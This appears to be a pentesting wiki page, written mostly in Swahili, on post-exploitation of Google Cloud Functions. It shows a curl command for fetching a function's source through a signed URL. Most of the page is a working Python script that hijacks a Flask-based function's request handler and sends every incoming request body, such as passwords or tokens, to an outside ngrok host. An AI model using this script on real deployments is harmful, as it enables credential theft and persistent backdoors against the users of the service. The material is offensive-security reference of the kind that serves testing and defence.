GCP - Cloud Functions Post Exploitation

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Cloud Functions

Pata taarifa kuhusu Cloud Functions katika:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Kwa ruhusa hii unaweza kupata URL iliyosainiwa ili uweze kupakua msimbo wa chanzo wa Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Iibi Cloud Function Maombi

Ikiwa Cloud Function inasimamia taarifa nyeti ambazo watumiaji wanatuma (k.m. nywila au tokeni), kwa ruhusa za kutosha unaweza kubadilisha msimbo wa chanzo wa kazi na kuhamasisha taarifa hii.

Zaidi ya hayo, Cloud Functions zinazotumia python zinatumia flask kufichua seva ya wavuti, ikiwa kwa namna fulani unapata udhaifu wa kuingiza msimbo ndani ya mchakato wa flaks (udhaifu wa SSTI kwa mfano), inawezekana kuzidisha mpangilio wa kazi ambao utapokea maombi ya HTTP kwa kazi mbaya ambayo inaweza kuhamasisha ombi kabla ya kulipatia mpangilio halali.

Kwa mfano, msimbo huu unatekeleza shambulio:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)